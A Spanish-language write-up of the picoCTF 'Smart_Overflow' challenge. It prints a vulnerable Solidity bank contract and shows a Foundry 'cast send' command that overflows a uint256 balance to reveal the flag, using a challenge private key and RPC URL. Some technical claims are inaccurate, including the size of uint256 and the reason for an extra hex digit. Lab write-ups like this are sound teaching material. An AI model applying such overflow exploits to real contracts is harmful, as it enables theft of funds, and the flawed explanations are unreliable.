Smart_Overflow writeup

Descripción

Welcome!

The contract tracks balances using uint256 math. It should be impossible to get the flag… Contract: here

Smart_Overflow solución

Descargamos el archivo .sol y examinamos su código:

pragma solidity ^0.6.12;

contract IntOverflowBank {
    mapping(address => uint256) public balances;
    address public owner;
    string private flag;
    bool public revealed;

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);
    event FlagRevealed(string flag);

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }

    constructor() public {
        owner = msg.sender;
        revealed = false;
    }

    function setFlag(string memory _flag) external onlyOwner {
        flag = _flag;
    }

    function deposit(uint256 amount) external {
        uint256 oldBalance = balances[msg.sender];
        balances[msg.sender] = balances[msg.sender] + amount;

        emit Deposit(msg.sender, amount);
        if (!revealed && balances[msg.sender] < amount) {
            revealed = true;
            emit FlagRevealed(flag);
        }
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender] - amount;
        emit Withdraw(msg.sender, amount);
    }

    function getFlag() external view returns (string memory) {
        require(revealed, "Flag not revealed yet");
        return flag;
    }
}

De todo el código, vemos que, por un lado, ‘revealed’ debe ser true:

require(revealed, "Flag not revealed yet");

Para que revealed sea true hay que cumplir la siguiente condición:

if (!revealed && balances[msg.sender] < amount) {
            revealed = true;
            emit FlagRevealed(flag);
        }

Por un lado, que revealed sea falso y, por otro, que el balance que quede en la cuenta tras realizar el depósito sea menor que la cantidad que se ha enviado, es decir, hay que realizar un desbordamiento de ‘uint256’.

Si accedemos a la documentación de Solidity, veremos que ‘uint256‘ admite 2256 bytes. Dado que la información la enviaremos en hexadecimal, tendremos que enviar 64 ‘f‘s (256/4=64).

python3 -c 'print("f"*65)'

En este caso, añadiremos una f más, dado que perderemos parte del dinero como tasa al realizar la transacción. Guardaremos esta cadena de ‘f‘s e instalaremos ‘Foundry‘ para poder interactuar con el servidor de blockchain:

curl -L https://getfoundry.sh/install | bash && foundryup

Una vez realizado esto, prepararemos el comando para enviar las 64 ‘f‘s:

cast send $BANK "deposit(uint256)" fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff \
  --private-key $PRIVATE_KEY \
  --rpc-url $RPC_URL \
  --legacy --gas-limit 224410

Lo que realiza el comando es lo siguiente:

Tras sustituir los datos se quedaría así:

cast send 0x6D8da4B12D658a36909ec1C75F81E54B8DB4eBf9 "deposit(uint256)" fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff \
  --private-key 0x89a4b625752a2091e0e363a2dbf3f97b01e4a11cb3e61d8a7f9e3187069a0d50 \
  --rpc-url http://mysterious-sea.picoctf.net:62376 \
  --legacy --gas-limit 224410

Al consultar la página, veremos que se ha producido el desbordamiento y tendremos acceso a la flag:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *